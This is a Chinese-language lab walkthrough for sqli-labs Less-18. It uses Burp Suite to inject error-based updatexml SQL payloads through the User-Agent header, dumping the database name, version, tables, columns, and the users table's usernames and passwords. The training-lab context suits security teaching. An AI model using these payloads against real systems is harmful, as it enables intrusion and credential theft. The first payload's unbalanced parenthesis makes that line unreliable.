一、预备知识
二、实验目的
三、实验工具
浏览器、Burpsuite
四、实验环境
客户机一台
五、实验步骤
第一步:查看网页,显示的是访问者的 useragent 信息,所有可以通过 useragent 语句进行注入。
打开 http://www.any.com/sqli/Less-18/,手动设置代理为 127.0.0.1:8080
第二步:查看当前数据库名称,MySQL版本信息。
1)登录;
Username 输入:admin
Password 输入:admin
2)打开 Burpsuite
工具,刷新浏览器
3)抓包,将 useragent
添加 payload
。
123' or updatexml(1,concat(0x7e,database())),0) or '
4)得到当前的数据库名称:security
4)得到MySQL版本信息
123' or updatexml(1,concat(0x7e,(version())),0) or '
5)得到MySQL的版本信息。
第三步:查看当前数据库所有的表的信息。
1)登录;
Username 输入:admin
Password 输入:admin
2)打开 Burpsuite
,刷新浏览器;
3)抓包,并将 useragent
添加 payload。
123' or updatexml(0,concat(0x7e,(select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='security')),0) or '
4)得到所有的表:emails
,referers
,uagents
,users
第四步:查看 users 表的所有列信息。
1)登录;
Username 输入:admin
Password 输入:admin
2)打开 Burpsuite
,刷新浏览器;
3)抓包,并将 useragent
添加 payload。
123' or updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),0) or '
4)得到所有列:id
,username
,password
第五步:查看 users 表的所有列的值。
1)登录;
Username 输入:admin
Password 输入:admin
2)打开 Burpsuite
,刷新浏览器;
3)抓包,并将 useragent
添加 payload。
123' or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from security.users)),0) or '
4)得到所有列的值:
注:如果出现 无法将SQL语句添加到 Burpsuite
中的情况,根据以下的方法解决
解决方法:点击 Burpsuite
中的 第二排的 options
中的其中三项打对勾,如下: